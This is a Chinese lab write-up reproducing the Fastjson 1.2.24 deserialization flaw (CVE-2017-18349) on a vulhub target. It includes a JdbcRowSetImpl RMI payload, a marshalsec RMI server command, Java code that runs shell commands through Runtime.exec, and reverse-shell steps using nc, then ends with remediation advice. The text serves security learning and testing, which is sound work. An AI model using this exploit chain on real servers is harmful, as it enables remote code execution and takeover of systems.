【漏洞复现】5. Fastjson 1.2.24反序列化漏洞(CVE-2017-18349)复现

文章目录

  • 1. 预备知识
  • 2. 漏洞复现
    • 2.1 漏洞介绍
    • 2.2 漏洞原理分析
      • 2.2.1 Fastjson序列化/反序列化原理
      • 2.2.2 Fastjson反序列化漏洞原理
    • 2.3 实验环境
      • 2.3.1 靶场搭建
    • 2.3.2 攻击机配置
      • 2.3.3 Java反序列化工具marshalsec:
      • 2.4 漏洞复现
      • 2.4.1 漏洞探测
    • 2.5 漏洞修复

1. 预备知识

在这里插入图片描述

Fastjson是一款高性能的Java JSON处理库,由阿里巴巴集团开发和维护。作为一个中间件,Fastjson提供了快速、灵活和可靠的JSON序列化和反序列化功能,使开发者能够在Java应用程序中轻松处理JSON数据。
Fastjson具有以下主要特性:

  1. 高性能:Fastjson是一个高性能的JSON处理库,具有快速的序列化和反序列化能力。它采用了一系列优化技术,如缓存机制、算法优化和数据结构设计,以实现最佳的性能。Fastjson在序列化和反序列化大型JSON数据时表现出色,是处理高吞吐量数据的理想选择。
  2. 灵活性:Fastjson提供了丰富的配置选项和灵活的使用方式。开发者可以通过注解、API调用或者配置文件来定义JSON与Java对象之间的映射关系。Fastjson支持复杂的数据结构,如嵌套对象、集合和数组等,以满足不同类型的数据处理需求。
  3. 数据转换:Fastjson支持将Java对象转换为JSON字符串,也支持将JSON字符串转换为Java对象。开发者可以轻松地进行对象到JSON的转换和JSON到对象的转换,无需繁琐的手动操作。Fastjson还提供了便捷的数据格式化功能,如日期格式化、数字精度控制和空值处理等。
  4. 安全性:Fastjson在数据处理过程中注重安全性。它提供了防止JSON注入攻击的机制,避免恶意JSON数据对系统造成损害。Fastjson支持过滤器功能,可以控制和限制特定类型的数据访问,提供更加安全的数据处理环境。
  5. 社区支持:Fastjson拥有庞大的用户和开发者社区,提供了广泛的文档资源、示例代码和技术支持。开发者可以通过社区获取帮助、解决问题,并分享自己的经验和贡献。Fastjson持续更新和改进,致力于提供更好的性能和功能。
    Fastjson作为一款成熟的JSON处理库,被广泛应用于Java开发领域。它在各种场景下都能提供高效、可靠的JSON数据处理能力,包括Web应用程序、分布式系统、移动应用和大数据处理等。通过使用Fastjson,开发者可以轻松地处理和操作JSON数据,实现高效的数据交换和处理。

2. 漏洞复现

2.1 漏洞介绍

FastJson 库是 Java 的一个 Json 库,其作用是将 Java 对象转换成 json 数据来表示,也可以将 json 数据转换成 Java 对象,使用非常方便,号称是执行速度最快的库。
在 1.2.24 版本的 Fastjson 出现了一个反序列化的漏洞,fastjson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

2.2 漏洞原理分析

2.2.1 Fastjson序列化/反序列化原理

Fastjson的漏洞本质还是一个java的反序列化漏洞,由于引进了AutoType功能,fastjson在对json字符串反序列化的时候,会读取到@type的内容,将json内容反序列化为java对象并调用这个类的setter方法。
那么为什么要引进AutoType功能呢?
fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:
1.基于setter/getter
2.基于属性(AutoType)
基于setter/getter会带来什么问题呢,下面举个例子,假设有如下两个类:

class Apple implements Fruit {
    private Big_Decimal price;
    //省略 setter/getter、toString等
}
 
class iphone implements Fruit {
    private Big_Decimal price;
    //省略 setter/getter、toString等
}

实例化对象之后,假设苹果对象的price为0.5,Apple类对象序列化为json格式后为:

{"Fruit":{"price":0.5}}

假设iphone对象的price为5000,序列化为json格式后为:

{"Fruit":{"price":5000}}

当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去(apple/iphone)只保留接口的类型(Fruit),最后导致反序列化时无法得到原始类型。本例中,将两个json再反序列化生成java对象的时候,无法区分原始类是apple还是iphone。
为了解决上述问题: fastjson引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来。使用@type的键记录原始类型,在本例中,引入AutoType后,Apple类对象序列化为json格式后为:

{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.Apple", "price":0.5 } }

引入AutoType后,iphone类对象序列化为json格式后为:

{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.iphone", "price":5000 } }

这样在反序列化的时候就可以区分原始的类了。

2.2.2 Fastjson反序列化漏洞原理

使用AutoType功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。
常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用!因此整个漏洞复现的原理过程就是:
1、攻击者访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。
2、存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。
3、rmi 服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者(我们)构造好的命令(ping dnslog或者创建文件或者反弹shell之类的)
4、rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
5、靶机服务器执行了恶意代码,被攻击者成功利用。
按照理解画了如下的图,大致解释一下整个流程:
在这里插入图片描述

2.3 实验环境

本实验用kali虚拟机使用docker搭建vulhub靶场,复现fastjson1.2.24

  • fastjson<=1.2.24
  • VPS(kali-linux-2023.1)
  • 工具:marshalsec,burpsuit,dnslog平台

2.3.1 靶场搭建

进入对应的目录后,使用docker-compose up –d命令启动靶场:
在这里插入图片描述

然后用docker ps查看对应的容器端口号,如下图,端口为8090
在这里插入图片描述

用ifconfig查看虚拟机ip,可看到kali的ip为192.168.10.132,浏览器访问虚拟机ip:8090,页面显示如下:
在这里插入图片描述

即可看到JSON格式的输出,靶场搭建成功。

2.3.2 攻击机配置

操作系统:kali-linux-2023.1
配置Java环境:
在复现的过程中出现了许多的问题,在最后发送bp改过的数据包之后,一直无法获取shell,也无法创建文件,后来发现是java和javac的版本问题,要保证是1.8的版本,高版本不适用。
官网下载java8jdk,解压后配置环境变量
在这里插入图片描述

重新载入profile生效:source /etc/profile
通过 java -version以及javac -version即可看到是否安装完成:
在这里插入图片描述

2.3.3 Java反序列化工具marshalsec:

安装marshalsec需要先安装:maven
下载:wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
解压:

mkdir /opt/maven tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/

配置环境变量:vim /etc/profile
在这里插入图片描述

验证maven是否安装成功:mvn -version

下载:git clone https://github.com/mbechler/marshalsec.git cd marshalsec/ 编译项目:mvn clean package –DskipTests
在这里插入图片描述

编译成功后进入target目录:cd target/ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://(启动python服务的ip):(启动python服务的端口)/#dnslog” 9999

2.4 漏洞复现

2.4.1 漏洞探测

访问8090靶场环境,抓包,修改POST请求方式,发送一个post请求,发送的数据为没闭合的花括号,如果服务器没有屏蔽错误信息则会报出fastjson的信息
在这里插入图片描述
在这里插入图片描述

通过返回包报错信息看出是fastjson框架
接下来使用在线dnslog平台https://dig.pm/配置dnslog:
在这里插入图片描述

以同样的方式抓包,修改为POST请求方式,并将Content-Type修改为application/json格式,然后发送的数据内容为• {“zeo”:{“@type”:“java.net.Inet4Address”,“val”:“dnslog”}},dnslog修改为刚才得到的子域名,可以看到响应状态码为200
在这里插入图片描述

刷新dnslog,发现有访问,说明存在fastjson反序列化漏洞
在这里插入图片描述

5.4.2 漏洞利用
利用dnslog探测是否出网:
在攻击机上创建dnslog.java,主要执行的语句为:String[] commands = { “/bin/sh”, “-c”, “ping user.whoami.874dad2f.ipv6.1433.eu.org“};,即向dnslog平台发起ping,

import java.lang.Runtime;
import java.lang.Process;
public class dnslog{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[]commands={/bin/sh”,-c”,“ping user.`whoami`.874dad2f.ipv6.1433.eu.org“};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

在这里插入图片描述

javac dnslog.java编译生成dnslog.class文件,传到外网系统中(这里传到kali服务器中)
在class文件所在的目录,Python起一个http服务。用4444端口启动http服务的命令为:python -m http.server 4444
在这里插入图片描述
然后查看此网址,会看到网站服务器的目录:http://虚拟机ip:4444/

在这里插入图片描述

接下来使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类

dnslog.class:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.10.132:4444/#dnslog" 9999

在这里插入图片描述

刷新靶场(http://192.168.10.132:8090)的链接,抓包后改GET包为POST包(右键->变更请求方法),然后在发送的请求数据包中改为以下payload:

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.10.132:9999/dnslog",
        "autoCommit":true
    }
}

在这里插入图片描述

可以看到靶场向rmi服务器发起请求,从http服务器下载dnslog.class并执行,刷新dnslog平台,可以看到有新的访问记录,靶场出网成功
在这里插入图片描述

远程创建文件:
尝试在靶场目录tmp创建successFrank文件
javac TouchFile.java编译生成TouchFile.class文件,重启http服务器
在这里插入图片描述

抓包,原理和上述相同,只需要修改payload如下:

在这里插入图片描述
在这里插入图片描述

响应状态码为500,可以看到靶场向rmi服务器发起请求,从http服务器下载TouchFile.class并执行
检测tmp目录是否成功创建了successFrank文件
在这里插入图片描述

反弹shell的获取:
基本思路和前面是一样的,改一下恶意站点的java代码
在这里插入图片描述

重启http服务器和rmi服务器
在这里插入图片描述

另起一个终端,开启之前恶意java代码中写的的7777端口,进行监听:nc -lvnp 7777
在这里插入图片描述

修改payload:
在这里插入图片描述

正在监听7777端口的终端,反弹shell获取成功,已经可以执行任何命令了
在这里插入图片描述

漏洞复现成功!

2.5 漏洞修复

  1. fastjson 版本至少升级到 1.2.58
  2. 及时升级Java环境版本
  3. WAF拦截规则,设置白名单

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/474609.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

中央空调的计费方式

中央空调如何计费 电费计量型中央空调计费方法 计费原理:电费计量型就是通过计量空调末端的用电量&#xff0c;再根据用电量换算为冷量&#xff0c;统计中央空调系统中各用户的总冷量&#xff0c;再根据各用户的冷量比例来分摊费用。 优点: 电量参数容易计量&#xff0c;管理…

白话transformer(五):位置编码

在前面其实讲过位置编码的完整内容&#xff0c;这次我们具体看看他的数学原理 B站视频讲解 白话transformer&#xff08;五&#xff09; 1、位置编码的位置 根据原论文的结构图我们可以看到&#xff0c;位置编码位于embedding后&#xff0c;在正式进入注意力机制前面。 也就是…

【二叉树】算法例题

目录 九、二叉树 68. 二叉树的最大深度 ① 69. 相同的树 ① √ 70. 翻转二叉树 ① 71. 对称二叉树 ① 72. 从前序与中序遍历序列构造二叉树 ② 73. 从中序与后续遍历序列构造二叉树 ② 74. 填充每个节点的下一个右侧节点指针 II ② 75. 二叉树展开为链表 ② 76.…

蓝牙耳机品牌排行榜前十名,选购硬核机型,避免不必要的开销!

在现代社会&#xff0c;蓝牙耳机正逐渐取代传统有线耳机&#xff0c;成为主流的选择。尽管市场竞争激烈&#xff0c;但找到一款适合自己的蓝牙耳机并非易事。我在这里为你推荐几款我认为值得信赖的蓝牙耳机&#xff0c;希望能助你一臂之力&#xff0c;找到最适合你的那一款。 一…

一文读懂MES和ERP的区别

MES&#xff08;Manufacturing Execution System&#xff09;系统是制造执行系统&#xff0c;位于上层的计划管理系统与生产过程的直接工业控制系统之间&#xff0c;是面向车间层的管理信息系统&#xff0c;能够对整个车间制造过程进行优化&#xff0c;实时收集生产过程中的数据…

天翼云研发告诉我:AH封装的IPsec不能穿越NAT设备

正文共&#xff1a;1333 字 14 图&#xff0c;预估阅读时间&#xff1a;2 分钟 最近跟中国电信做VPN的研发交流了一下技术&#xff0c;发现技术爱好者跟研发之间的差距还是很明显的。 问题是我在配置天翼云的IPsec VPN连接时&#xff0c;发现IPsec策略的传输协议只有ESP协议可选…

YOLOv9改进策略:ECVBlock即插即用的多尺度融合模块,助力小目标涨点 | 顶刊TIP 2023 CFPNet

&#x1f4a1;&#x1f4a1;&#x1f4a1;本文改进内容&#xff1a;ECVBlock即插即用的多尺度融合模块&#xff0c;助力检测任务有效涨点&#xff01; yolov9-c-EVCBlock summary: 1011 layers, 68102630 parameters, 68102598 gradients, 252.4 GFLOPs 改进结构图如下&#x…

Centos7没有可用软件包 ifconfig问题解决

问题描述 在Centos7中查看ip没有ifconfig&#xff0c;使用yum安装ifconfig报错没有可用软件包 ifconfig问题解决 [rootlocalhost etc]# yum -y install ifconfig 已加载插件&#xff1a;fastestmirror base …

外贸网站常用的wordpress模板

零件配件WordPress外贸建站模板 汽车行业零配件WordPress外贸建站模板&#xff0c;卖配件、零件的外贸公司可以使用的WordPress主题。 https://www.jianzhanpress.com/?p4912 WordPress外贸独立站主题 简洁实用的WordPress外贸独立站主题&#xff0c;适合时尚服装行业搭建w…

酷开系统用电视为居家生活打开精彩窗口|酷开科技|酷开会员|

随着互联网的发展&#xff0c;电视也承载了更多的功能。相比于传统的电视&#xff0c;如今的智能电视屏幕更大、分辨率更高、色彩更加鲜艳&#xff0c;能够呈现出更加逼真的画面效果。当观众观看大屏电视时&#xff0c;仿佛置身于电影大幕的场景之中&#xff0c;感受到更为震撼…

SpringCloud Alibaba Nacos 服务注册和配置中心

一、前言 接下来是开展一系列的 SpringCloud 的学习之旅&#xff0c;从传统的模块之间调用&#xff0c;一步步的升级为 SpringCloud 模块之间的调用&#xff0c;此篇文章为第十二篇&#xff0c;即介绍 SpringCloud Alibaba Nacos 服务注册和配置中心。 二、Nacos 简介 2.1 为…

C++初阶:vector相关练习

目录 1. 只出现一次的数2. 杨辉三角3. 删除有序数组中的重复项4. 只出现一次的数II5. 只出现一次的数III6. 数组中出现次数超过一半的数7. 电话号码的字母组合&#xff08;多叉树遍历&#xff09; 1. 只出现一次的数 题目信息&#xff1a; 题目链接&#xff1a; 只出现一次的数…

【python】flask服务端响应与重定向处理

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…

Leetcode 3.15

Leetcode hot100 二叉树1.二叉搜索树中第K小的元素2.二叉树展开为链表3.从前序与中序遍历序列构造二叉树 二叉树 1.二叉搜索树中第K小的元素 二叉搜索树中第K小的元素 最重要的知识点&#xff1a;二叉树搜索树的中序遍历是升序的。 方法一&#xff1a;我们只需存储升序遍历&…

【蓝桥杯备赛】Day15:递推与递归(倒计时23天)

题目1:题目 2335: 信息学奥赛一本通T1422-活动安排 设有n个活动的集合E{1,2,…,n}&#xff0c;其中每个活动都要求使用同一资源&#xff0c;如演讲会场等&#xff0c;而在同一时间内只有一个活动能使用这一资源。每个活动i都有一个要求使用该资源的起始时间si和一个结束时间fi…

管易云·奇门对接打通金蝶云星空发货单查询接口与销售出库新增接口

管易云奇门对接打通金蝶云星空发货单查询接口与销售出库新增接口 ​​ ​​ 对接源平台:管易云奇门 管易云是上海管易云计算软件有限公司旗下的专注提供电商企业管理软件服务的品牌&#xff0c;总部位于中国上海张江高科技产业园区。管易云旗下拥有管易云C-ERP、EC-OMS、EC-W…

HarmonyOS卡片刷新服务,信息实时更新一目了然

如今衣食住行娱乐影音等App占据了大多数人的手机&#xff0c;一部手机可以满足日常大多需求&#xff0c;但对需要经常查看或进行简单操作的场景来说&#xff0c;总需要用户点开App操作未免过于繁琐。 针对该问题&#xff0c; HarmonyOS SDK为用户提供了Form Kit&#xff08;卡…

为啥很多人觉得编程难学?

看到推特上网友菜脯写的一条推文&#xff1a; 菜脯&#xff1a;我大概知道&#xff0c;为啥很多人觉得编程难学了。 因为对我来说&#xff0c;编程过程就是 看资料——开始写——遇到问题——查资料——解决问题——继续写——继续遇问题——继续查资料… 这个循环似乎会一直持…

Retrieval Augmented Thoughts(RAT):检索增强思维,实现长视野生成中的上下文感知推理

论文地址&#xff1a;https://arxiv.org/pdf/2403.05313.pdf 原文地址&#xff1a;rat-retrieval-augmented-thoughts Github&#xff1a;Implementation of RAT 2024 年 3 月 14 日 介绍 让我首先从一些一般性观察开始...... 在生成式人工智能应用程序中实现效率与生成响应…

vulhub中Apache Shiro 认证绕过漏洞复现(CVE-2010-3863)

Apache Shiro是一款开源安全框架&#xff0c;提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用&#xff0c;同时也能提供健壮的安全性。 在Apache Shiro 1.1.0以前的版本中&#xff0c;shiro 进行权限验证前未对url 做标准化处理&#xff0c;攻击者可以构造/、//、…